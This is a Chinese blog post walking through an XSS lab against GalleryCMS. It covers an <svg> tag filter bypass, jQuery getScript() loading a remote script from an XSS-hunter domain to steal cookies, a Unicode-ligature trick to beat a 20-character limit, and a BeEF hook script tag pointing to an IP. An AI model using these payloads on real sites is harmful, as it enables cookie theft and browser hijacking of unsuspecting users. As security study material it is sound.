当前位置:网站首页>XSS漏洞复现
XSS漏洞复现
2022-08-03 20:58:00 【抱小猫】
目录
第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方
第四步:beef复现GalleryCMS20个字符限制短域名绕过
XSS复现GalleryCMS字符长度限制短域名绕过
我们首先搭建好galleryCMS的服务器。

第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方

可以在数据库中看见我们上传的数据
第二步:我们再测试一下是否可以使用JS代码
在数据库中显示为,这说明对JS代码有限制,导致我们无法进行弹窗
我们查看一下源码,可以发现他对我们做了长度45,且过滤了很多标签等限制

但是从源码中可以看出没有对<svg>标签进行限制,所以我们尝试使用<svg>标签测试是否能绕过

绕过成功:

第三步:使用getScript()函数绕过
我们通过这个页面发现网页使用的是jQuery框架,我们尝试使用getScript()函数绕过试一下。
getScript()函数:使用 AJAX 的 HTTP GET 请求获取和执行 JavaScript。
语法:(selector).getScript(url,success(response,status))
| 参数 | 描述 |
|---|---|
| url | 必需。规定将请求发送到哪个 URL。 |
| success(response,status) | 可选。规定当请求成功时运行的函数。 额外的参数:
|
我们尝试将<svg>标签和getScript合用一起获取cookie值

我们使用了xss-hunter给系统分配的一个页面,telsm.xss.ht里面有很多获取信息的功能,需要注册并且拥有自定义的xss.ht子域名才可以使用,但是我没有注册域名,所以查看不到获取的消息,但是这样也表示成功了。

第四步:beef复现GalleryCMS20个字符限制短域名绕过
我们将字符最长限制长度改为20个字符,利用beef工具尝试绕过

但是基本的命令都会超过20个字符
由于字符长度限制,如何实现绕过?
1、使用Unicode编码进行编码,Unicode编码有几种特殊字符,如tel在Unicode中仅算一个字符
2、域名重定向-->国内域名重定向需要备案,只能使用国外域名
我们用第一个方法Unicode编码利用特殊字符绕过
- ℠ expands to
sm - ㏛ expands to
sr - st expands to
st - ㎭ expands to
rad - ℡ expands to
tel
我们先打开beef-xss:

登陆beef的网页端,beef的用户名和密码在/etc/beef-xss/config.yml文件下查看

把hook.js文件内容复制到服务器下的/var/www/html/index.html文件下,因为我没有自己的域名,所以我自能修改配置文件,使用ip进行测试<script src="//192.168.112.131:3000/hoot.js">
成功了


参考资料:
边栏推荐
猜你喜欢
随机推荐
nvm的使用 nodejs版本管理,解决用户名是汉字的问题
leetcode 461. Hamming Distance
Zero trust, which has been popular for more than ten years, why can't it be implemented?
leetcode 剑指 Offer 58 - II. 左旋转字符串
15年软件架构师经验总结:在ML领域,初学者踩过的五个坑
svg胶囊药样式切换按钮
leetcode 268. 丢失的数字(异或!!)
力扣707-设计链表——链表
Often forget HiFlow 】 【 check-in?Use tencent cloud scenario connector to remind you every day.
5 款漏洞扫描工具:实用、强力、全面(含开源)
Kubernetes资源编排系列之三: Kustomize篇 作者 艄公(杨京华) 雪尧(郭耀星)
ES6简介及let、var、const区别
直播源码开发,各种常见的广告形式
用 setTimeout 来实现 setInterval
Likou 59 - Spiral Matrix II - Boundary Judgment
NAACL 2022 | 具有元重加权的鲁棒自增强命名实体识别技术
tidyverse based on data.table?
《富爸爸,穷爸爸》思维导图和学习笔记
小朋友学C语言(1):Hello World
Leetcode 125. Verify palindrome string










